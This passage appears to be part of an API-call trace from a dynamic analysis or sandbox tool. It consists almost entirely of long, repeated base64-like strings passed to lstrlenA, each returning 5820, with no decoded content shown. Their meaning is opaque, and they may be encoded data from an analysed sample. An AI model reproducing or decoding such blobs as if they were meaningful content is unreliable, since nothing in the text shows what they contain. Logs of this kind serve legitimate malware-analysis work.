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") returned 5820
	[0084.637] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2UhkLtrcd8p4JNBmNqsDijqc8ALYZwzFDKsVsrg5DzyIluyLMxG/TiakC/pBHkQ3RiZ5uvTydxtAD8n2yavcm0Kj5Fss82FGu+kBj35uhx4I7jDj20EwFB1Ph4M9k3/dFx0YXyk1S1gQrIGrnhCrb8U2+Y6YuqAXd/TbsXCLPz9ePTE+Lqet+H5JFdFbR/LgKR/IrZ2OCq8vHmPXkVd339xwOXS1LYNQ/jTiEw9ocs8XSfQiiF1lKyts17dW19MUzq2agefI4iBUvirUCPiXVKqgwmGHTfYJg3onDGZ9lzaQ1RMkYofNEg+olX5fvoOPf+IqVeOZsy/rodl5tiysKtgobARxKzixyeJxR+SpMjZcZWB542juT392bZxWTKtGybGXBkYhfLbJYtGZhTwVKm918Lbl4WHTx5nAxeuSpRATmqdBuNX/I8LPd0qeMmlCokyBRhNxYw8V4rBPQxlUDYvFC43eGey+eolIizMw2UpNe1K/hK6yaHl0PbqZLI4FBSppDbwXGbNvKyrby6gDVhdz529Co4/9gjezuRA5hzjEesWKRHwXz6Nkg1rXN2q+I5vEBk5Vm3/LxMMSqfDfZvOTjmXhZO6gf0Yt/OCBChNVb5tWNwHdXVyTigH+9xgQytSKJ9NMmu0XL5dodxhkGNjTJlgdmmHgj8eY9SNf16KdoCq84u6uF6t5NhQpd1YAZnH1000rYOtr8vbD8lJMF1Tb8DgYfpGXCTeuRfTzFIqC+SRLhxsr1q+ntzssL6Otm5WN0Q2QIHKtJEJC0ihG7wD2sMSpC8SJKsIsTfzgzNTgeuzotx89ITb5KiQJaoYYJk0J7rMAVc0StgpbC5gHdEY5cOSwNv8zCH7PYvqSx0sN+J/l/0t0ZpcObGamhpKOtmyTULxenkmvPyOyBi3wJy5daoq9rOiwRjJfeN++QSMU93IKGiylNe6dIBDzbhqm1XUqwrS8rX2KXau+EH9ypf1nh/NIP+FHq3d8O94qIZrpFYBIXLilFkN8QWDVfBEzi0rnA33zlQEjh1sedNVNKxtpDbjr2ij10KXhgm9agdN/WIUiRh2ZAyZC8DzvgQE0kQEk9T24OPDjZ00F1q5SSajlP7brLYPkmXDHGkwpoDcHZEz735QKoa4BSivimzbfyw6iUfoG5qzyvOcYgZoDdy8YdkEniwqV7D7pzWBuYqHJULHsL4RpjUKOEZLFiwevz6uitOs/eZ4ys+yHAdgpV1V4c1c2PnL9DhEGJMCBMkmwkAEZVUhOLVhnalPnwioekw/rf+QLO4I8/dORvBjgkieS1mKk5ekbhhX1CfbD7VTi8zPdRBQvXQQs8A4KGCylGG+2MCtJ4sTOHb/ViG1W5TPEZvi4s+kHQLE6YjPn0APfeIdP86NS1TFugv5h+g7oty4NDRb+WYteWsq4dXTA5gTAfhgrtW4tq/8wXBIj+qUVUbXtuUpeoW/VdBKmDWaWjvQWUaQmjjSp+qavLUb+NTWKAvXjD7xBStoHJ0rN/y1FYNCHxuLhq43rOC6k2QKhyN4A8crOYeXzGZUZ1slwHa63caXpSjrmmASG/V0Km+TBwO7lykEiBGaq7YXXgrwZI2nnt3O/VxoC5i4FJz+vDsKtZw8omqF2nwgBf3xM/l6rpEQUO8AYcOLFQt8r/yW/ikSouhKJ/+4wrD8y+eobJ2aERtJC5jBCsuM0VmoPhzHIeD2F6rZa2dQwgcYn73FlkjWXwB18uyFCTHMkCbvXVycBBM+QcB2RP89DWB96BsyInYy+DF1pjp0fhsiYgvxTAZjIEMbkfNY9cGALR19UbJLEkZe7Yil0deqNMaHMCDwCAxKwFYaauZfp27catSyvvs0Tey9P6BH2foj6Y088YmPaqA5Lsv2dvGyE09CN6Cn+pn8EybUhaH7/6iqTgubM7VsIb1AYNHuKrhTiUg+/fj8lmsNFR4mVfo8AHRSoBmn5FGaUVB46b8PyalJolBNElJB91ekBM3D8AsLEPHxMAbGc/nG9VIcSBOtKCKrxcuPHz/+bvav3V5kMpSPyc/sWbEx7MZiqwYimRkPbKitVtcj/N0CMbWtNTc7ISxvdCxAB8Bks7cZ1Xn7lmzQUxLwylQA4XMJXrwDHE5Zz2QFlxQ1fi5j/nrBWwnQIW85rfG49k5exqhlyQvfVIcoeiWuX2t869wj4ZLI0LO+WycAWIsBCB3HlAGf6xvPsRFArGcoANLPskqEMRwwScf19bIVKI9Phrfq+XEyHllSE1IfVMydxPX9sfRmXFLP4z6f5qZGTMc8e8cGwqAYSes4j5zawjYB0HETHpuwUi4QIJvve0OaJKd+w/KSObipMao2YbIVhUm9c9dnDyDmEcBWIPIlf1BE+cLR6nsqab3rP2E4uUaVtDlSnwDMk0bpidgrONLyWz2t78BreT1QFmHPiyytUXHRMkNmE7G/IlA7NHJldZptETcMq98GD/XmpliedFh3Vm1nPys1N63QdWz2u0ApfgYkNYQI1ZNRDBmRAo9cc/49Jkh6Na4knxVZIthDsC205K+qv1aqXJ6wZ9B3TiYhmGoIjsjlGeKF7nXbztIBEGGtp790iPZvb6hnurXNZaHbiuixr33SPO6yK6o+G/eGA+KeHmp4jm+NwBuL4P1hc2clVcHMLne0fe2Mi+uYSM2beBLczVL1AkgReqT0lUToaOjgIUGAswuOzlQagLxuxiYWkj4M5YkbOtsAY3DAT1q1b44cIvlVZz/fW6yfeaPR1nPj0vJ653chI+qoKnh9h4NGN1gOvH7z9Gvao+Z2YCIfPXCT3Oq5uB/gUNIfWtxXsBntxUcRPONWpADjWWTjhqO6xPN9mcRCh6LSbWaazGC+oHawwVAZjhVu2LUiuq9a76xZM9XDVUDnBZKQtJqsRlkfQ4On0kk0DZSo3PI1hdycZ9YIp9+zhA8jDSdQMu2fA/D6vw/NoN3pIYCpJ9KWIb2zUTKpnxDWxXMYnz2+J1ZwVvNhkuI68Y1BbaYzjZq/0iUFT9X7KVboqbeuhu+wWc97VSlk4qHIq5gYhnoPYscPWrU4fD1KApAkIcuNJIi0nsUotOoDd1qVhQNl5ff5uYrdRg23FSU5DRgwlqo9QmMT2xd0OVEOHlUD+Yea6UDhhnIdVPFxM5/UhIaLXqO97ovabRGHzJrBPA8CR5Sab/B4GwFsYNIL/SosMF/N6BrZkuYVjiC+gsPWKe7XqiXDDbRVHzszFhzyPrjWgFpgHbg8pS2m04nNzjleUEoJWnx839sMPuknZ6EbcmX0XVk7EuDdOHs+xK22RuZsJwGuJFiR96raTnLNLRYkcXAuS5HbMbfgiT5h3zGQ5RgRn6kTaSTs5aJvLkYo0yL2/9/aBAzGxtcF/pTngc8/DTbkYi7v6almd46gauZzcJhJ/hRAfznSBaX3TXzvlwwWBWxKD+8QZWcIN/SLNSjY926DAx45oko8XmYQe1tyizClFib1u2IDMOTaWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.637] lstrlenA (lpString="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